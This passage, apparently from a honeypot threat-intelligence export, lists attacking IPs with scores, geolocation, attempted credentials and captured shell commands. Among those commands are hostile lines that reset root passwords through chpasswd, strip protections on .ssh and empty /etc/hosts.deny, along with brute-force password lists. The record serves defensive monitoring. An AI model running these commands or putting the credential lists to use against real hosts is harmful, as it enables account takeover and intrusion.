        "es",
        "fuser1",
        "server",
        "steam",
        "test",
        "ubuntu",
        "user02",
        "user3",
        "username",
        "vinay"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@12qwqwasas",
        "000000",
        "000000o",
        "0p9o8i7u",
        "1089666",
        "123!@cbrxcom",
        "123456chen",
        "147258",
        "1q2w3E4R",
        "1qaz2WSX",
        "Aa112211.",
        "Aa123456@2025",
        "Gaea2025@sz",
        "Gwg123456",
        "Ht@123456",
        "Huawei_123!@#",
        "Hxp123456",
        "Kvi123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"d3pl0y\\n7CNjqv6gxkYu\\n7CNjqv6gxkYu\\n\"|passwd",
        "echo \"root:GvHT6dD1o9ma\"|chpasswd|bash",
        "echo \"root:i1DKwwazZIh5\"|chpasswd|bash",
        "echo -e \"d3pl0y\\n7CNjqv6gxkYu\\n7CNjqv6gxkYu\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 50.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.9,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 780,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T10:48:04.543000+00:00",
        "last_seen_30d": "2026-04-25T14:03:26.301000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 590,
        "Suricata": 190
      }
    },
    "182.93.7.194": {
      "attack_count": 505,
      "first_seen": "2026-04-06T18:26:26.118Z",
      "last_seen": "2026-04-12T05:29:42.070Z",
      "sessions": 54,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "oracle",
        "wsuser",
        "admin",
        "customer",
        "deploy",
        "dev",
        "erpnext",
        "ftp_test",
        "ftpuser",
        "logviewer",
        "n8n",
        "postgres",
        "rp",
        "ruoyi",
        "sammy",
        "server",
        "sftpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!Q@W#E$R%T",
        "0racle",
        "1111",
        "123",
        "1234",
        "12345",
        "12345-asdf",
        "1q@W3e$R5t",
        "1qaz@WSX3edc$RFV@@",
        "8ik,!@#",
        "Ab123456",
        "Abc#123456",
        "Admin@123456",
        "Bmw_20!_^",
        "Docker!",
        "Letmein@1",
        "N8n23!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"0racle\\nehOPh3MHCZEw\\nehOPh3MHCZEw\\n\"|passwd",
        "echo \"root:nOSVfG3UHSlC\"|chpasswd|bash",
        "echo \"ubuntu_1234\\nJGlQlWf1Hn0K\\nJGlQlWf1Hn0K\\n\"|passwd",
        "echo \"wsuser\\nnN0ki2q6tp4X\\nnN0ki2q6tp4X\\n\"|passwd",
        "echo -e \"0racle\\nehOPh3MHCZEw\\nehOPh3MHCZEw\"|passwd|bash",
        "echo -e \"ubuntu_1234\\nJGlQlWf1Hn0K\\nJGlQlWf1Hn0K\"|passwd|bash",
        "echo -e \"wsuser\\nnN0ki2q6tp4X\\nnN0ki2q6tp4X\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Macao",
      "country_code": "MO",
      "city": null,
      "asn": 4609,
      "as_org": "Companhia de Telecomunicacoes de Macau SARL",
      "threat_score": 18.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 642,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T18:26:26.118000+00:00",
        "last_seen_30d": "2026-04-12T05:30:50.760000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 505,
        "Suricata": 137
      }
    },
    "197.199.224.52": {
      "attack_count": 461,
      "first_seen": "2026-04-06T05:26:39.496Z",
      "last_seen": "2026-04-24T21:54:35.027Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "debian",
        "git",
        "n8n",
        "odoo",
        "sammy",
        "ubuntu",
        "user",
        "ali",
        "ankit",
        "bondtest",
        "deploy",
        "deployer",
        "duser",
        "ftpuser",
        "hari",
        "mcserver",
        "nacos",
        "oracle"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "112358",
        "123",
        "123456.asdf",
        "12345678!",
        "123qweQWE@",
        "134679",
        "2glehe5t24th1issZs",
        "A1234567J",
        "Admin12@123",
        "Alibaba@123",
        "Cedm7feb",
        "DDxx123",
        "Ftpuser04!",
        "Han123456",
        "MoeClub.org",
        "N8n08!",
        "Passw0rd2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1\\nCfYIbs8ieoNu\\nCfYIbs8ieoNu\\n\"|passwd",
        "echo \"N8n08!\\n32JtLJkBIQmO\\n32JtLJkBIQmO\\n\"|passwd",
        "echo \"root:GsUpRV4BvVRt\"|chpasswd|bash",
        "echo -e \"1\\nCfYIbs8ieoNu\\nCfYIbs8ieoNu\"|passwd|bash",
        "echo -e \"N8n08!\\n32JtLJkBIQmO\\n32JtLJkBIQmO\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.7,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 590,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T05:26:39.496000+00:00",
        "last_seen_30d": "2026-04-24T21:55:42.204000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 461,
        "Suricata": 129
      }
    },
    "185.230.219.29": {
      "attack_count": 456,
      "first_seen": "2026-04-06T20:04:59.033Z",
      "last_seen": "2026-04-20T08:12:29.858Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "deploy",
        "ubuntu",
        "user",
        "oracle",
        "ali",
        "amule",
        "carlos",
        "dev",
        "ftpuser",
        "john",
        "odoo",
        "postgres",
        "server",
        "steam",
        "teamspeak",
        "test",
        "test5"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!QAZ2wsx!@#",
        "1",
        "11112222",
        "123456",
        "12345@Abcde",
        "123qwertyuiop",
        "1q2w3e4r",
        "1qa2ws3ed",
        "3edc4rfv.",
        "A123123A",
        "A123456Y",
        "AAzz123",
        "Admin1234$",
        "Admin12345678#$",
        "Ali04!",
        "Bot18",
        "Ftpuser07",
        "QWER2024!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"pass\\nJUQaVMdoFfVz\\nJUQaVMdoFfVz\\n\"|passwd",
        "echo \"root:IBvKzDhbGF4w\"|chpasswd|bash",
        "echo \"welcome1\\nPYjEVMq85lvx\\nPYjEVMq85lvx\\n\"|passwd",
        "echo -e \"pass\\nJUQaVMdoFfVz\\nJUQaVMdoFfVz\"|passwd|bash",
        "echo -e \"welcome1\\nPYjEVMq85lvx\\nPYjEVMq85lvx\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Austria",
      "country_code": "AT",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 34.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 584,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T20:04:59.033000+00:00",
        "last_seen_30d": "2026-04-20T08:13:39.152000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 128
      }
    },
    "31.56.209.39": {
      "attack_count": 435,
      "first_seen": "2026-04-17T18:01:34.004Z",
      "last_seen": "2026-04-29T12:36:48.581Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "nil",
        "admin",
        "orangepi",
        "support"
      ],
      "passwords_attempted": [
        "",
        "root",
        "admin",
        "orangepi",
        "calvin",
        "support",
        "ubnt"
      ],
      "commands_executed": [
        "",
        "cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\n",
        "curl2",
        "echo \"cat /proc/1/mounts && ls /proc/1/; curl2; ps aux; ps\" | sh"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.success",
        "cowrie.client.size",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 48.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.5,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 566,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T18:01:34.004000+00:00",
        "last_seen_30d": "2026-04-29T12:37:50.144000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 435,
        "Suricata": 131
      }
    },
    "152.32.213.101": {
      "attack_count": 410,
      "first_seen": "2026-04-29T05:27:28.014Z",
      "last_seen": "2026-04-29T17:25:00.819Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "345gs5662d34",
        "user",
        "bitnami",
        "deploy",
        "developer",
        "github",
        "nfsuser",
        "oracle",
        "postgres",
        "sshuser",
        "testftp",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0727527122",
        "123456",
        "123456789",
        "1q2w3e",
        "1qa2ws3ed4rf",
        "1qaz=[;.",
        "2025",
        "2525",
        "777777",
        "999999",
        "AaBbCc123",
        "Abc12345678!",
        "Password123!",
        "Qwer1234!@#$",
        "Qwerty1!",
        "Server001",
        "abc1234",
        "admin00"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"777777\\nTuVjdFl8z5i7\\nTuVjdFl8z5i7\\n\"|passwd",
        "echo \"root:2NE4HM1ESd5A\"|chpasswd|bash",
        "echo \"root:A1TvDP1191yy\"|chpasswd|bash",
        "echo -e \"777777\\nTuVjdFl8z5i7\\nTuVjdFl8z5i7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 38.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 526,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T05:27:28.014000+00:00",
        "last_seen_30d": "2026-04-29T18:39:45.348000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 410,
        "Suricata": 116
      }
    },
    "81.192.46.49": {
      "attack_count": 404,
      "first_seen": "2026-04-26T19:17:55.019Z",
      "last_seen": "2026-04-27T07:47:46.176Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "root123"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678910",
        "123a123b",
        "1nd0n3s14",
        "235689",
        "258963",
        "3641323vit",
        "400400",
        "5202614abc",
        "@#$%12345",
        "AA12345678",
        "Mm123456",
        "P@ssw0rd123456789",
        "Pa$$word@123",
        "Root-2025",
        "Root_123",
        "Rp123456",
        "Server2024!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cA1Qkyv4ABtu\"|chpasswd|bash",
        "echo \"root:e0yRAb23QqN6\"|chpasswd|bash",
        "echo \"root:eIyn2YbuzhzT\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Rabat",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T19:17:55.019000+00:00",
        "last_seen_30d": "2026-04-27T07:48:50.427000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 404,
        "Suricata": 102
      }
    },
    "200.44.190.194": {
      "attack_count": 371,
      "first_seen": "2026-04-25T13:22:46.427Z",
      "last_seen": "2026-04-26T21:36:43.612Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "desarrollo",
        "developer",
        "es",
        "fuser1",
        "server",
        "steam",
        "test",
        "ubuntu",
        "user02",
        "user3",
        "username",
        "vinay"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "010101",
        "100",
        "1234567890:",
        "123abc!@#,./",
        "1q2w3E4R",
        "1qaz2WSX",
        "708090",
        "Aa112211.",
        "HKTest123",
        "Ht@123456",
        "Li!123456",
        "Password123",
        "QA2ws!@#",
        "QWE123rty",
        "Qazwsx2024!!",
        "QwEr!2#4",
        "Root20",
        "Test13"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:cKYDgweE7kEt\"|chpasswd|bash",
        "echo \"root:eKR3PWJ9RLVE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 486,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:22:46.427000+00:00",
        "last_seen_30d": "2026-04-26T21:37:49.226000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 371,
        "Suricata": 115
      }
    },
    "57.128.218.186": {
      "attack_count": 359,
      "first_seen": "2026-04-21T11:23:09.335Z",
      "last_seen": "2026-04-21T19:20:42.012Z",
      "sessions": 57,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "user",
        "frappe",
        "minecraft",
        "sammy",
        "ubuntu",
        "admin1234",
        "anna",
        "bot",
        "claude",
        "ftp-test",
        "game",
        "smbuser",
        "socks",
        "steam",
        "tester1",
        "wc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1024",
        "123!@#qwe",
        "123123",
        "123321",
        "1234",
        "123456",
        "12345678",
        "123@ZXCV",
        "1Qwertyuiop",
        "AA123456789",
        "AAaa123123",
        "AAxx000",
        "Aa123456*",
        "Admin@9000",
        "Apple2025",
        "Bot17!",
        "Claude"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:tYYeM2dJ7L5I\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 482,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T11:23:09.335000+00:00",
        "last_seen_30d": "2026-04-21T19:21:45.197000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 359,
        "Suricata": 123
      }
    },
    "183.91.11.36": {
      "attack_count": 338,
      "first_seen": "2026-04-25T13:20:30.787Z",
      "last_seen": "2026-04-25T17:32:26.405Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "steam",
        "vpn",
        "test",
        "345gs5662d34",
        "admin",
        "ali",
        "bot",
        "claude",
        "cvsuser",
        "demouser",
        "hduser",
        "manuel",
        "oracle",
        "postgres",
        "satisfactory",
        "student03"
      ],
      "passwords_attempted": [
        "Aa112211.",
        "nPSpP4PBW0",
        "1111111",
        "123456Qw",
        "123asdASD",
        "1qaz!QAZ",
        "1qaz@wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456789Z",
        "Abcd1$",
        "Admin@123",
        "Asdf123456",
        "CCcc111",
        "Claude04",
        "Huawei12#$",
        "P@ssw0rd4!",
        "P@ssw0rds",
        "Pass2022",
        "Passw0rd2026!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Ks1T4gbyHJrG\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 32.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 463,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:20:30.787000+00:00",
        "last_seen_30d": "2026-04-25T17:33:36.326000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 338,
        "Suricata": 125
      }
    },
    "213.209.159.158": {
      "attack_count": 331,
      "first_seen": "2026-04-01T17:55:51.857Z",
      "last_seen": "2026-04-22T17:25:00.167Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "apc",
        "cam",
        "Z",
        "aaaa",
        "check",
        "counter1",
        "david",
        "user",
        "user1"
      ],
      "passwords_attempted": [
        "ROOTFUCK",
        "Root123456!",
        "Test123$",
        "Ub*273495534",
        "apc",
        "cam",
        "serges",
        "telegram",
        "vps1234",
        "wsxqaz123",
        "www.zczyz.cn",
        "1234509876",
        "Root844.",
        "Ry.123345",
        "SG350X",
        "Ubuntu2015!",
        "UnitedStates",
        "VLcdn",
        "Vy.123345",
        "WELCOME"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.file_upload",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 63.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.8,
        "persistence": 25,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 30,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T17:55:51.857000+00:00",
        "last_seen_30d": "2026-04-30T21:51:59.601000+00:00",
        "days_since_last_seen": 0
      },
